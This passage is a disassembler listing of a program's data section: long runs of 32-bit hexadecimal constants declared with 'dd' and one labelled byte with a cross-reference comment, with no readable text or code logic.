dd 0C65AB42Ah, 0EE58B878h, 1284EEB2h, 0B0B56B93h, 8A556564h
dd 19528893h, 1771C7AAh, 0FB1E473Eh, 263F093Eh, 422B8D4Fh
dd 82D73FDFh, 3F82A3F3h, 0BB671873h, 1079A76Ch, 6C553036h
dd 3C0DE230h, 0C5E5C51h, 923E3ABFh, 0A265AF35h, 187A12E5h
dd 1919FC7h, 99F16BAAh, 57693C45h, 9C1C0C2Dh, 0BE72FB32h
dd 3FF57F79h, 95DE62CAh, 0EEC1C860h, 3DEE1BDEh, 859C45F0h
dd 42E4A499h, 0D8292DABh, 7BF2D066h, 0E3EBE71Bh, 9A41CAEh
dd 1FB85FE7h, 9D707A5Bh, 0D0D58AF7h, 0B2FD7926h, 0C892896Dh
dd 1E9119E5h, 9D7A122Bh, 598E0632h, 0E814D3AEh, 402811CBh
dd 18E1361Ch, 66FD04D3h, 0C4BBD4A3h, 4D02F4A0h, 0A9BF02BEh
dd 0B3C47F36h, 4F596133h, 9EC3FDAAh, 0B059FE25h, 66AA2503h
dd 46923EE8h, 0F0CEA935h, 0C1A324E8h, 53771BEEh, 54568D49h
dd 9708E07Ah, 6B0CBDE5h, 2BCE8804h, 7BDC30F4h, 0C5B39E6Bh
dd 5D42C77h, 0B84B5A4h, 1CBF40C8h, 33C7B934h, 61141E18h
dd 71425DF5h, 2D6B558Bh, 3DD61330h, 8EE198AEh, 8D002C24h
dd 0C5CF7C53h, 88B60020h, 0CA14EFBFh, 36078BE2h, 0F6485417h
dd 0C8EBB2Ch, 409E9DF4h, 1F2F3B3Fh, 38665494h, 5B06C51Fh
dd 4B62D09Eh, 2002DFD0h, 6F144753h, 72E49A71h, 41F74E3h
dd 760D29F1h, 4B30F79Fh, 2997FCCh, 64DB56B7h, 0FE0725C1h
dd 355B8951h, 8C1A8878h, 0B5D37A94h, 0B8FBAC77h, 95232400h
dd 2EEA9A2Dh, 4DFC6ADDh, 69C38CEFh, 38654D24h, 0ADCBF8A5h
dd 0C0136B46h, 0B737166Ah, 4AB512D2h, 4CAB9D58h, 0B56DF92Bh
dd 104FF895h, 554783D2h, 1B1CF35h, 0CADBB996h, 332B9285h
dd 0E414A0FFh, 1C26F205h, 391EEA49h, 12EA0997h, 2BC5DBE7h
dd 794165E3h, 0F0CE3DA6h, 0DFD0F307h, 0EB5E19E3h, 0FE7A3403h
dd 0C17A8B9h, 98759A4Fh, 0E3838178h, 4AF63D04h, 0CF8FEF78h
dd 271C4E38h, 79E9E881h, 267D04C2h, 82B39CF7h, 29944555h
dd 79A51063h, 0A0C3F312h, 92E15B8Ah, 4A6FBB46h, 2C646A7Ch
dd 78CA418Eh, 2BF751ADh, 4E30D123h, 0D824F0A7h, 3B3BADCFh
dd 0C6422AEEh, 6A1811EEh, 0CE70320Bh, 0BB1B2F19h, 47E4B6E9h
dd 0FC564AECh, 0C768D6EEh, 0E9FEDCCDh, 0D21A2D07h, 0CDD9D6AFh
dd 0A322B31Dh, 0E21BAC86h, 677A2E17h, 0BD96646Bh, 0DD55EB4Dh
dd 0E022AC2Ah, 74AF132Ch, 4246DACFh, 7FD85ED2h, 0C7397000h
dd 366EECCEh, 21696D17h, 0AAD1C3D8h, 99342606h, 24D117h
dd 0D2E6AECFh, 80322BD9h, 70F9FFD5h, 0B6ADCE1Ch, 0A69E958Bh
dd 0F0522042h, 1CB46121h, 0EF96FBDDh, 9D14D2D7h, 0EA5E1FF4h
dd 36AAE7F0h, 0ACC167E7h, 0F07D3166h, 5561EE78h, 0F26DAA30h
dd 20E24339h, 519D0EF9h, 1449995Bh, 5103CF6Dh, 0A1E973D3h
dd 5A743C20h, 4266A344h, 0E29408E0h, 0BB921D66h, 2533B9A2h
dd 0C2964481h, 1F373464h, 0E15EE956h, 91F18CF9h, 5ABEA133h
dd 392687Ch, 590452BDh, 29E1E2D8h, 7A595E2Ch, 7AA8E575h
dd 11C46B09h, 0A7925F4Dh, 1012052Fh, 8438B8DCh, 0B104B60Ah
dd 0FA9E09D9h, 0C6A538F1h, 0C7F98F45h, 40ECC02Dh, 1F314814h
dd 506E2DF6h, 9DBA8CD5h, 0FF2E143Eh, 0F7A5A54Eh, 88F70758h
dd 0FFCB3591h, 3B1EF2E2h, 929C0E2Ah, 4F32C568h, 0C6D850EDh
dd 0ED65B644h, 0E6D9FDCDh, 0AE38047h, 50E1E770h, 6F36DE67h
dd 0CE840A5h, 0F521733Bh, 1B0BC2A3h, 75DB79EBh, 0AD900541h
dd 5322CFE8h, 64D20280h, 4CA8BE39h, 0D735A211h, 0A42BD4E3h
dd 0DB086785h, 2BF5AAC4h, 0E4270907h, 0DC17D05h, 44731826h
dd 7E31CAE5h, 0B8311449h, 34E236h, 0EDBD923Eh, 15870672h
dd 0E26DB58Ch, 79F47251h, 471CBD54h, 0B2AD0FBDh, 43FAA7C8h
dd 0F0D22C0Ch, 7AF923B4h, 5905FEBh, 0C589A73h, 3624AEBh
dd 0D97CBE56h, 9240FB32h, 0CA021A1Eh, 0A8AD6BF9h, 0A940C3A4h
dd 93084B4Ah, 84349F2h, 9DA6F467h, 0CA4ABEE8h, 7955F92Ah
dd 109E4070h, 0DBCF6540h, 0B45B829Ch, 188A3696h, 0C91E301h
dd 0C3C7EC42h, 8B2B94B6h, 7A2AA8Bh, 0EC6BAA90h, 431FA5E7h
dd 0F0397E4Bh, 4FD43C21h, 7D330081h, 0C8E30703h, 3F63902Eh
dd 9B261A0h, 0F82527A2h
dd 0F827C02Eh, 96B5461Fh, 81100E8Fh, 0DC492B4Dh, 0DB92FB61h
dd 0D44D9343h, 0CA91AFF9h, 45CDCBDBh, 44BC171Bh, 129A2FB8h
dd 2FE74DF1h, 0EF856029h, 7919C546h, 30E06E47h, 36BB4E50h
dd 0D69AF28Fh, 0E4CCEDD7h, 3C1E4C24h, 78C372D2h, 0F2212C51h
dd 29C20B14h, 0E04CF2B4h, 611D0598h, 9CC5E2BEh, 7C3FB096h
dd 0C9C7EF0Dh, 0DD914A44h, 0E90DB2E8h, 67E37BA5h, 0D4A1C7E3h
dd 2F796F9Fh, 228174F9h, 9DE44E4Dh, 0EAA2930Dh, 47C172C6h
dd 5AEBC939h, 261DC0CAh, 406061EDh, 3109AA35h, 0B0FF2696h
dd 98C0F2E2h, 5E3FA5E9h, 572D9013h, 430D91C6h, 0B3DC0FB4h
dd 5F605B5Ch, 756E49D2h, 9228DE3Ah, 7D646B25h, 669E3BA7h
dd 0D2789E22h, 522A13E5h, 0B34A4B82h, 0FDAF8EF8h, 0FB249FB1h
dd 0F63F35FDh, 0FAAFD2E8h, 2D2BBD23h, 0A938245Dh, 880DB430h
dd 0FFC93BF0h, 9101DB8Ah, 34FD49E6h, 0B79A2F58h, 7BAB1938h
dd 0AB561089h, 75CEF924h, 0DB993279h, 47064AB6h, 0EF99AD47h
dd 5A2D9E1Ch, 0BED67653h, 0E12C6374h, 10FA639Dh, 0E2DCCCF3h
dd 0D18E044Dh, 6578FC9Ch, 80B91C94h, 3638C99Fh, 0F8AE29AEh
dd 76C5FD80h, 0F98F4169h, 1CE1AF82h, 865070A2h, 324874AAh
dd 5CCAAB9Dh, 0B18C3E58h, 4074E1B6h, 1FDB191Dh, 0A462039Dh
dd 65996554h, 0B941B22Ah, 7D0C4236h, 39DF3896h, 1DA440E2h
dd 0A2F0307Eh, 3D3A7B39h, 0AF59FD43h, 1A5CB200h, 0EE5EAE98h
dd 859653CEh, 689D9719h, 3B204943h, 65A5ABD6h, 0CE578921h
dd 50C1E076h, 162C0727h, 569DE8FEh, 4D46E01h, 6926E047h
dd 0BEE6EAC9h, 254FE5Ah, 0AB5D7515h, 0EA0DE6A4h, 6FF0CE33h
dd 0A28FE062h, 0AF1D1C16h, 0BEFC0FDDh, 0D75D1D4Bh, 0B2B419E6h
dd 0D6ADC871h, 9F32FE75h, 48051EC7h, 9661779Bh, 4FB05740h
dd 71717969h, 3B87F167h, 0FD13E208h, 0E3258A58h, 0B9B74651h
dd 5AB3B6F2h, 2E8B9D4Fh, 3D3A5558h, 3BEF6D63h, 28767CDDh
dd 7DDCB8E6h, 4BBD6072h, 304787C3h, 0D2C4BE1Dh, 794E9141h
dd 0ACAD54A3h, 4329B37Ch, 0E0BF490h, 56EACAF6h, 7A460A77h
dd 0F6D9B0BBh, 0AC52000h, 41D5E3A8h, 0A8CF3907h, 63B848DBh
dd 1B61E3B9h, 0D7E33AA3h, 35913D89h, 75BC6CEFh, 0A15D106Fh
dd 0F9A87E5h, 7888815Fh, 0BA1E3EBFh, 0FA2866E0h, 760E79Eh
dd 0B0884AC5h, 840A109h, 44B0A77h, 7108A2C3h, 64E5E335h
dd 0DEB5728Dh, 69AADF49h, 0AF6758B8h, 0B378D530h, 0B57CC34Ah
dd 3BDAD7E5h, 0A187855Fh, 8F73DF9Dh, 0E8202556h, 749AE4E9h
dd 7CEFB353h, 0D651364Ah, 3602533Eh, 0BC7B348Ah, 0BB9160A9h
dd 0A2AF7BF4h, 9B16675h, 4FEBFE9h, 401E24BEh, 0C93A804Ch
dd 0D819F644h, 473567E0h, 0FA4433B1h, 34C3D4D7h, 98D0876Ah
dd 0DC5CF563h, 0C670D5DAh, 18B72CE7h, 68BF1D66h, 0F4FF42AFh
dd 1F77F3DEh, 992BDF34h, 8A649E01h, 0FC8B2188h, 66ABB7F6h
dd 0C672F8Bh, 0ECE221FDh, 0C2A23065h, 8597146Fh, 0A4024971h
dd 0FD57DD82h, 0EFDFD688h, 1603FCFBh, 518206B5h, 4C0DC654h
dd 6A887B6h, 0CE7A6A5h, 3F635730h, 57043715h, 0FAF21371h
dd 5AC929EFh, 33EE6429h, 0B3D6C59Ah, 0BFD109A5h, 2C140B7h
dd 2C64A01Ch, 0B1119CC2h, 38225088h, 53BF9BB7h, 70402C9Ch
dd 0F1A25FECh, 0CBCF5F3Bh, 0B086D8E4h, 83EA53FBh, 0B8CF0B2Ch
dd 556DF487h, 0D0A440CBh, 0E32ED65Fh, 643706C4h, 257593F2h
dd 0B49219E4h, 6FE90D21h, 4307177Ch, 6C0DEAC5h, 7FB9264Dh
dd 0D62C2229h, 0DEEA014Ch, 601C9FA1h, 0D313F008h, 4B8FF55Fh
dd 0EA80276Bh, 6C64392Ch, 0C3D19FFFh, 0BDC6A6B2h, 9AEFB0C8h
dd 0B194EBB9h, 0FD1656F0h, 0BAA41BF3h, 6DD329C9h, 276B3AB6h
dd 0F2E6EE3h, 0E1A3C843h, 0A117C663h, 64524BD1h, 5CB3EB48h
dd 0A2E3A846h, 6C5845AAh, 5837470Dh, 0D2B18EBAh, 5C13DE21h
dd 0F85C46CDh, 0AE3A38B8h, 5DE1FA86h, 0A55FFE19h, 5C6166E1h
dd 1CD49869h, 49202FFBh, 5EC8BB51h, 0B7752761h, 62690D77h
dd 0F149C5BBh, 288F6956h, 0C0A8FE5Ah, 886AE5C1h, 0BBAE75FCh
dd 0BF79B7C6h, 74763F9Fh, 214FE6F5h, 2019738Fh, 0C00C001Dh
dd 2853092Ah, 6E23A815h, 60B8650Fh, 0C48143F0h, 4CD28644h
dd 0AA2621B3h, 9EE08CEAh, 30118394h, 0EC140EC2h, 0DE80AD63h
dd 1160D4FBh, 51F71A77h, 8DD9F800h, 23817A91h, 0B5074AA8h
dd 3B73F1ECh, 5CD4CC9Eh, 83A5C241h, 0B08915B3h, 0D73CADCBh
dd 0B6C843ABh, 4ABA686h, 985CDEB6h, 23E0ECC9h, 4D0E694h
dd 70E6C3FBh, 4279057Ch, 0F0D33E6h, 0FCCDC306h, 0AAEFE2B1h
dd 377EF8Ch, 0BDD5303Bh, 8276CB5Bh, 0AA76D39Dh, 97B50D20h
dd 21C3BFFDh, 7635C917h, 0E0E23D0Bh, 0D12649BEh, 0A5AFA5Bh
dd 11C18961h, 2DE6F748h, 3CF221Eh, 0DF7B207Eh, 640B8012h
dd 0EB959D05h, 7A51D5h, 52B2D3DFh, 3CFFF62h, 3E5BAF37h
dd 78DF70E7h, 6241058Ah, 741859D0h, 92DF54A3h, 52330631h
dd 6A5157D4h, 888153C3h, 5F62BADh, 11C5C093h, 0CBD4B12Bh
dd 0D122F27Ah, 5A5BED2Ch, 0AF70BD76h, 356C079Dh, 4E003B85h
dd 0A90A0706h, 0E8677A6Eh, 0A32AC883h, 0A60A1EADh, 0FF831B9Fh
dd 8869E284h, 93CC348Ch, 0B62BF777h, 0E80219CDh, 0F99D4D19h
dd 0E366E9D8h, 3EB2BB87h, 1A2E2157h, 202402E5h, 31B3D12Eh
dd 0D47A563Ch, 3285FAD0h, 3979004Fh, 0DE76CE5Bh, 0A4D70D1Bh
dd 0D1599FA8h, 1CBC1ACCh, 1E11113h, 0E2DFCFEDh, 66124C11h
dd 0F490992Fh, 782475A9h, 0DC3CB2BCh, 0D1099FA6h, 0AA6AD18Fh
dd 3574FE73h, 0CC120F45h, 0EE691BF8h, 79DEDEF2h, 0EF145212h
dd 44FFCA94h, 0C1979EB2h, 0EDB247D0h, 0EDE42C4Ah, 0C1DCBA66h
dd 0D4044CCh, 0DB4107C7h, 116B171Eh, 0BB16C392h, 228B0CA5h
dd 0F897481h, 0CE8117D6h, 0CDEBB1C1h, 0C98B3A45h, 0AEA9BE8Dh
dd 0CE6208F6h, 55F60427h, 0B0CE12E2h, 5345720Fh, 3659F045h
dd 0E71076C8h, 9E4652E7h, 679DE72Bh, 0E22ECBCDh, 0B0A92BCAh
dd 72FBF6EFh, 50F32E58h, 0D57D0732h, 489FEE4Bh, 0F5709B9Fh
dd 64D34AC6h, 82B2C223h, 752B3242h, 3AA8A83Dh, 917E3069h
dd 1F40B52Ah, 3F796360h, 601E689Ah, 0F199F1EDh, 6A9300CEh
dd 1B9C84BCh, 6C2D4CFFh, 1B2E33DBh, 7FB8A0Eh, 7AD60188h
dd 494ECF62h, 4293A711h, 993E509Dh, 0BBC3C74Bh, 8C61D30Ch
dd 298C2ED0h, 8554493Ch, 542115C1h, 0DA531B4Eh, 0E372C135h
dd 0FFA5CA0Eh, 913455EFh, 0FFC8D97Dh, 0A39FBA32h, 1C074FA3h
dd 0B01F69E9h, 0C7832B64h, 0F2B86604h, 0CF5BD944h, 5C631ADAh
dd 13CE81C8h, 0F1C8644Dh, 6A09D614h, 6A7729A1h, 0ED0C0797h
dd 0A0F24861h, 89E715C3h, 7A1DC092h, 66F96026h, 6E9F1064h
dd 0FECB2BF2h, 8F25B13Fh, 0B8B11328h, 0CD293118h, 0FD6BF445h
dd 775ADA73h, 0E6C38A50h, 0DFCB53CCh, 0A7DB0645h, 0F85ECB5Eh
dd 6B00D9B5h, 0D11914AFh, 2EB12B0Ah, 0DE005B0Bh, 0EF1B3A4Fh
dd 83468124h, 34A3915Eh, 3B177E80h, 215A7EE0h, 87E8B9AAh
dd 0AA65B5BDh, 6A08653Ah, 0BCCD3B66h, 0CB62F713h, 0B3A82B91h
dd 87986BACh, 2047A313h, 94AA2A0Eh, 368ADF9Bh, 23BFDA9Bh
dd 0C75EFD69h, 0EC0179B8h, 0DE39AC1Fh, 0D38FC05Dh, 67F706AFh
dd 17739362h, 5DC42400h, 953682BDh, 0DA045EFFh, 8B618920h
dd 5E1362D4h, 3074B057h, 2B6DCACFh, 0EDB1EFEAh, 0ED10CD61h
dd 5B44C56Eh, 0C94361FDh, 32F5EDC1h, 65963406h, 3A889EA9h
dd 28E0732Fh, 4A72083Eh
dd 0A0AEED32h, 0DE148666h, 0C1E93123h, 130C4795h, 12F4118Ch
dd 973FE5EEh, 8DEEFED4h, 96880F6Bh, 3DD36EEEh, 0A445283Ah
dd 0A445377Ah, 6E60AFB5h, 3E0C530Dh, 49DE217Dh, 6158A32Ah
dd 2933F881h, 3D70D3C2h, 0F931B54Ah, 44C73495h, 495A0679h
dd 30C83658h, 813C2B37h, 0EC87EABFh, 4278462Ch, 6C13D0AFh
dd 66859EFBh, 0EDDA46E9h, 0B596862Fh, 0D48D5952h, 90695061h
dd 0F65A48F5h, 738678B3h, 0FC11643Eh, 5C495B1Ch, 5F999498h
dd 627B0679h, 25D3AE40h, 0FD1A48FAh, 44A4DDF0h, 2E313E5Eh
dd 297514DBh, 0BAC9403Eh, 25EF35B3h, 0E7B53D5Fh, 0F98E6989h
dd 0FAE9616Dh, 0EA69FE2Bh, 3B849601h, 0DEDB7DC4h, 0AAFD994Ah
dd 5641345Ch, 70C4AE2Dh, 5F243AEDh, 8EFFF853h, 3EDAD1DBh
dd 626B2AB5h, 0D646F817h, 0DAD0789Bh, 60E61C1Ch, 5EB7B1D1h
dd 0F591B509h, 408C2F6Ah, 389C5C58h, 66329DA6h, 58FF8E45h
dd 9BBDBFCDh, 0A7468C1Fh, 0ABEDF70Dh, 0B225D3F5h, 13E48B8Dh
dd 4612C8C4h, 8801F9FEh, 867B779Ah, 619167D3h, 0C7357A7Dh
dd 0FAE35CFFh, 0DF601C5h, 9496DD80h, 0C95678FEh, 0ADDE3062h
dd 8E6188A7h, 0C00664FDh, 0D116BCA6h, 0A92C0983h, 0BDEA64C2h
dd 0AE4D9292h, 0A58E0123h, 8B41E4CCh, 0CB07E18Fh, 9F8CFC3Bh
dd 6B90FB95h, 63239E6Ch, 7C186D05h, 8C4D2BE0h, 53A513BCh
dd 0A8A567E0h, 0EF61510h, 72FBFF06h, 8E6FDB41h, 808CD29Dh
dd 815E9D07h, 58DA060Ah, 11A4CE33h, 0A80AAC62h, 435CC2A4h
dd 372E1E8Ah, 0C5ABD28Ch, 0C2D86A91h, 7C377F78h, 968B8242h
dd 328BD307h, 72E44902h, 9758F5BBh, 3708B4E0h, 0FD2CCBB6h
dd 9958DA12h, 49DF7793h, 102B0741h, 90A75CDFh, 572B2B45h
dd 233F5AE2h, 263CD8A2h, 0F376DE15h, 0A890B0E8h, 0A02A2496h
dd 27C9459Bh, 0A39240FEh, 7A8EA114h, 0E78B9923h, 0E5425CA9h
dd 74BC0DD7h, 0A999C3B1h, 20A2D92Ah, 953E3AD8h, 0F60899ECh
dd 0BE30BDF6h, 71EA96A1h, 61501F5h, 4E259815h, 0BB52F7D2h
dd 4B7AA4A9h, 0D7A0499Eh, 0FF0F1207h, 751F8120h, 26224824h
dd 5D588C91h, 0C923642Ch, 0FA4DD50Bh, 1F455A08h, 3C5ABF0Ch
dd 31ED01EDh, 762941C6h, 4F0E1890h, 48D4DF05h, 0BD891ADEh
dd 62EAACABh, 9217BE47h, 0A8D772FAh, 7ADA9F80h, 0BB3C2214h
dd 0AFBA37F7h, 815BED9Ch, 6A772DB0h, 7842B051h, 0A2CEF267h
dd 4703AAFDh, 1C6BD397h, 0A3E23D4Ch, 1DB0588Bh, 0AF14E38Ah
dd 971F0F3Fh, 0D58603EAh, 0C94A4304h, 0DCC61EF5h, 0B4A40651h
dd 2222E61h, 8C357851h, 0BFC6F83Fh, 656A8F0Fh, 0F126D040h
dd 0DE004A3Eh, 5F614AEDh, 44CDB383h, 66230B81h, 0E3D1324Ah
dd 3678EE51h, 1FD3F583h, 0DE3CAEA6h, 0E1698A8Fh, 0DC993113h
dd 0BFD2782Ah, 5DF787D5h, 787CBC3Eh, 0E267A5F6h, 0C530A0A5h
dd 0E782F442h, 303ABED9h, 96A68BE4h, 1A9D47D4h, 0C66EE2A3h
dd 0F8E5B8AFh, 353FDC54h, 669F81E2h, 0EE796E03h, 78F20C45h
dd 0F8FE1FB9h, 79BDD23Eh, 0D79AA698h, 0B0ED66ABh, 794C4696h
dd 8C8E2D9Dh, 23B663CDh, 0E4F24E95h, 8B484C8Ch, 0C6EF32h
dd 76B31F0Bh, 38E37DB5h, 96BEDFDDh, 6AC2C890h, 0C611509Bh
dd 7A07CB4Dh, 8A97EAF1h, 14502BACh, 38C5797Ch, 4CCA4742h
dd 762536B7h, 0B352C2Dh, 0EDC4B7D9h, 2340538h, 7FF30E9Ch
dd 0C29A73CEh, 72A013E4h, 2B01521Eh, 0E00EF887h, 5E6BF7AEh
dd 3013A704h, 6D6F21Bh, 2DD5542Ah, 88810D24h, 0BD100Ah
dd 8A626A84h, 3E93B651h, 29A3B74Ch, 0BD45C04Bh, 0CE5B477Fh
dd 0A1CF332Ah, 17A16684h, 9F188DD8h, 0FC65E01Eh, 9A65C1C4h
dd 0D989DBD5h, 0CF5AF4EDh, 98902968h, 526BB60Dh, 0B0F41E33h
dd 9865DF83h, 635D2CD6h, 86AA6A6Bh, 0B02E851Dh, 0E56B5F69h
dd 2ECFB67Bh, 64C3F572h, 0B83EF963h, 8936A2BCh, 0D8BF64ACh
dd 0EEFE76C5h, 50FE109Fh, 44CB32EAh, 76AA97B7h, 0F8F89B70h
dd 0F769F82Ch, 9D78C9D5h, 0FF806DFEh, 0D20B18EEh, 0AA502E5Bh
dd 0D2AB52D4h, 0ED7070h, 63685E76h, 0CECBB541h, 4813DF85h
dd 2D9F1CF6h, 0DA074C9Fh, 4F04DD3Ch, 0BD8ED407h, 8446EDACh
dd 0A7D145FCh, 813A7DDh, 28639B4Bh, 2B3EC8C5h, 0D78CEA5Fh
dd 0FA957979h, 0F738F5ECh, 0B6600771h, 0B436EA52h, 7591DEBh
dd 8F3E15F5h, 0C5E4464Ah, 0BAFE5251h, 789D8BBAh, 0B1D88E45h
dd 2AA48EC5h, 76DA56CBh, 0F1ACA91Bh, 968FA0B6h, 7B2CB16Dh
dd 94B0B086h, 0F2F512C9h, 57325A36h, 0E388208Dh, 1A4768D5h
dd 0F61B83F1h, 7B22C570h, 0F4761049h, 0C67BD060h, 0F10E062Eh
dd 241C8076h, 10C73DF8h, 114D444Dh, 54AE9E0Ch, 87DB8E15h
dd 864645CBh, 4A3D51D2h, 630E0831h, 3A60D1B3h, 37B871ACh
dd 0DC706E3Bh, 8587A472h, 7545A421h, 7E341181h, 79252995h
dd 82F68898h, 46533065h, 1DF63F2h, 22274B0Ah, 0E4069F47h
dd 0A537403h, 1997C4F2h, 10D04391h, 82956563h, 954DE1B5h
dd 26EFEA58h, 0F54B575Bh, 8BEED52Dh, 2E1CD82Fh, 79DD7538h
dd 0E0FF75F4h, 5F8BFF0Dh, 0A3320207h, 447295D5h, 6B5AEA86h
dd 75D661C1h, 96A32BABh, 0A7A911Fh, 1AB78678h, 400BAF32h
dd 7688C0D2h, 34E7ECFCh, 7B57A03Dh, 0D23EF77h, 8AB505C1h
dd 1053C1D4h, 7C1D3E66h, 0EE2E5B2Eh, 73224636h, 0F0E3CD9Bh
dd 0D36876FAh, 3A16027Ch, 0F79F01CDh, 0F12886C3h, 7B8B2E47h
dd 2AF7836Fh, 26589426h, 0CC257422h, 7B862E13h, 418874Fh
dd 42464DC7h, 83721418h, 0F3EA557Ah, 5D8E5F4Ah, 6A8D95F8h
dd 15403D30h, 8DE9F848h, 7AFAAEB7h, 1F30AA5Bh, 0AE28F29h
dd 0AC0BB28h, 8ED4F989h, 0CA622211h, 0B89A50A0h, 5A2B7657h
dd 2D3877E9h, 57A7B215h, 90C36BDBh, 97A7E463h, 8EC31883h
dd 0A8C2B710h, 1646AFCAh, 6ECDB13Ah, 0E2CA100Eh, 683708CDh
dd 0BCB2126Ch, 7694EF20h, 811A619Bh, 0DE8736CFh, 0F166C13Eh
dd 2CB921C3h, 105C03FAh, 4865A34h, 61DC769Fh, 0A95012F4h
dd 95007710h, 18E11510h, 9FDB41D8h, 0E57FF01Eh, 0D5A2282Fh
dd 8816F94Fh, 2D159CB1h, 8DA7C57Bh, 0D39E51E1h, 7DE9C49Ah
dd 0F678C407h, 0E7B5A12h, 970CD077h, 90A59AB5h, 0C9CF9778h
dd 5FC57F3Bh, 4A957B59h, 83C83B37h, 12D125C5h, 786288AEh
dd 0BC0F8B8Eh, 405DADEh, 93FC1C93h, 0F7BA8EA9h, 6A36A505h
dd 2928187Eh, 0ADD0539Fh, 0D9F3F08h, 104DEF9Dh, 80BE1CCAh
dd 1FD331FFh, 0D41DBF17h, 0DE8F90h, 303FF52Dh, 963E8DE0h
dd 0D5F28D4Ah, 41FC9D2Ah, 0EB80AEC5h, 0B94D74CCh, 0D70A4D49h
dd 0E47649F4h, 0CDC376FFh, 5D41BCh, 59AABC00h, 0C328012Bh
dd 12C83FFFh, 0CE092942h, 0B4337834h, 9D7098A8h, 0D0BDC1E5h
dd 14F75792h, 7679FD0Dh, 0C595ADAh, 9F295D88h, 0BA98F483h
dd 20490DE4h, 0DAB651C2h, 0D6A051DCh, 0E75D966h, 3E38265Dh
dd 4B57E618h, 0C30B784Dh, 0ED6E96DDh, 0D3269A2Dh, 4CCC0261h
dd 6FA32FECh, 32C4AA16h, 0CD00EA7Ch, 94031EA2h, 918917DCh
dd 9D6738D9h, 0E39160DDh, 0F0171B20h, 8A876ACDh, 4334B2A7h
dd 68231792h, 0F08C75F2h, 0EF21A798h, 7D103869h, 0DBF0512h
dd 0E8AFEFDCh, 86BF45E4h, 314409BEh, 63E97C0Ah, 45E58BB8h
dd 34681BFh, 0FF9C7A82h, 2929592Dh, 525CF8A8h, 0DFE16472h
dd 91C7A651h, 0F66BD497h, 53AACCE4h, 4CA0814Ah, 25E23E83h
dd 8C071BACh, 835DAB46h, 0E3A6D2FEh, 5F7BE195h, 982964FFh
dd 0D71F7414h, 9685C2B2h
dd 0A149DABDh, 0CE2480D8h, 6021168Eh, 23BAA069h, 0B1B0CB72h
dd 864ACDC2h, 72EC5AB4h, 384650D2h, 0B6D54BA9h, 83034FC2h
dd 7BFE9DC7h, 82101CA4h, 2F1C5611h, 5C66A2DBh, 84F77F8Dh
dd 0C4C21056h, 0BE002F03h, 16660946h, 0B0370B2Ah, 5F061ABDh
dd 7FB29CF2h, 28C8F87Ch, 26A37101h, 34CCF9DCh, 1FEAC5CCh
dd 0FB5F937Ch, 61401CC5h, 0C6E973BDh, 5C3C5701h, 2C53FB68h
dd 670CD46Fh, 625BABC3h, 22F24498h, 7A94EBFDh, 9F40DD55h
dd 0AEA302C3h, 97D8D40Ah, 0A72A440Bh, 3BD942C9h, 7F96CC7Ah
dd 0C10603F2h, 2133A893h, 70A901DCh, 0D38CC992h, 0A2466BBDh
dd 94D9124Ch, 1F8479D9h, 3499C587h, 0AF017396h, 5C5E215Ch
dd 0CBEF59A5h, 4E5FCD4Ah, 82523C59h, 5DD3C0ADh, 0FEF3565Eh
dd 435F7C2h, 563817FFh, 4A1D1AB7h, 0E5B2B2A6h, 0B4438402h
dd 0B8C51881h, 0B89E01D3h, 0BAD064EAh, 4DAEEECCh, 2928E20Ch
dd 2061269Ch, 132E2D43h, 0A7659D19h, 8DBD6F7Eh, 0C4E65B7Eh
dd 4ED1625Ah, 645EA659h, 3A9680E5h, 1EA8FA0Dh, 2F66AF80h
dd 8D6BB655h, 67DD1B5Bh, 43D13ECBh, 399B69F5h, 0EF1EAA4Bh
dd 7163865Bh, 7AD5CED4h, 0EAE6108Ah, 2B855385h, 0B146B57Bh
dd 7AAE434Fh, 1A04AE67h, 5AC1952h, 6C5011B5h, 0BE2C2142h
dd 0CFDE9F0Ch, 0ADC14C82h, 52DF541Fh, 16F071Dh, 35A47F47h
dd 3DA3EA47h, 0F9458EFDh, 3BE4311h, 0D3DC62BCh, 0A8CE72BAh
dd 769CCB96h, 54E2C37h, 68BE8599h, 10CCC34h, 4DABFD37h
dd 2BEBA96h, 71356C7Bh, 0B6E97ECFh, 0FFCAD891h, 39AF417Ch
dd 1F9A4159h, 5AE7BCA9h, 9BA80550h, 875B64FAh, 0C080B6E9h
dd 8E8B021Eh, 7E7DDCB1h, 2A359CDAh, 6D74BC98h, 391E0256h
dd 8CE9BDD0h, 0FB4D52F0h, 2297AC31h, 8245D3E5h, 0C1097707h
dd 5E0155A3h, 1C7C75E0h, 0E46C10E0h, 0B575B6F2h, 0F8405540h
dd 3C0EB0CDh, 40904109h, 23ECF205h, 98F3480Fh, 40885097h
dd 95333F83h, 71FFBC64h, 6DCD7A5Dh, 0FBD224D3h, 85A785Bh
dd 78B3A06Dh, 0F0BE54F1h, 0ACB01A06h, 0D68B5ADAh, 4E745CC9h
dd 57686420h, 731AF436h, 9D0866C4h, 61FF82A9h, 5723A7EFh
dd 57854927h, 11313362h, 5BD15964h, 86218227h, 3D83B0h
dd 0C3DF89C6h, 0A431BB18h, 24E774ECh, 599ED7B7h, 0BCE54340h
dd 39E1379Bh, 2501299h, 43D1AF44h, 56E33D3Ah, 3F9D82Bh
dd 89498222h, 66436C64h, 0D124EE06h, 103BA080h, 829D198Fh
dd 9176FC5Eh, 1A6E1042h, 0F84C060Fh, 5AD118E7h, 0E0A53920h
dd 5D15F25Ah, 0F83E5E3Ah, 0B74FD774h, 0DCE549Dh, 0F86737E3h
dd 3DE5BE4Bh, 0FC896731h, 0AB2C6753h, 0DF36F458h, 0A32DAA4Ch
dd 5E02B1DBh, 0F35F441Ah, 854E756Ch, 0F228DE7Eh, 219D8FB5h
dd 12541679h, 0FCE268B2h, 495323C8h, 0A6AB11F0h, 7434BE23h
dd 1E7AF78Ch, 7A54835Fh, 4ADCE98Ch, 10D40EC4h, 0E5F43963h
dd 59626657h, 7B74F630h, 8538B351h, 0F574AD2h, 34757EA1h
dd 0BA17C01Ah, 9F3FA1DDh, 584E3106h, 69146357h
db 0D5h
byte_4F5345 db 47h, 0D4h, 70h ; DATA XREF: .data:00447EB0o
dd 0C53D32FCh, 0D20179B8h, 0E653A7B5h, 652A5867h, 36E57610h
dd 63661853h, 83DEBC94h, 3AF0F537h, 0CF411E58h, 5860E8AFh
dd 64FB5FFBh, 12817184h, 2D7B2A8h, 157EC033h, 0BA714E08h
dd 23A17C40h, 4BD7D88Fh, 2239D20Dh, 0FB4102F4h, 155D1BAh
dd 747FA0BCh, 0A6B095E7h, 67805A18h, 19DD2006h, 3D800F60h
dd 0EBE32B8Eh, 9A6386FCh, 4094F283h, 2B24594Bh, 0B3AD755Dh
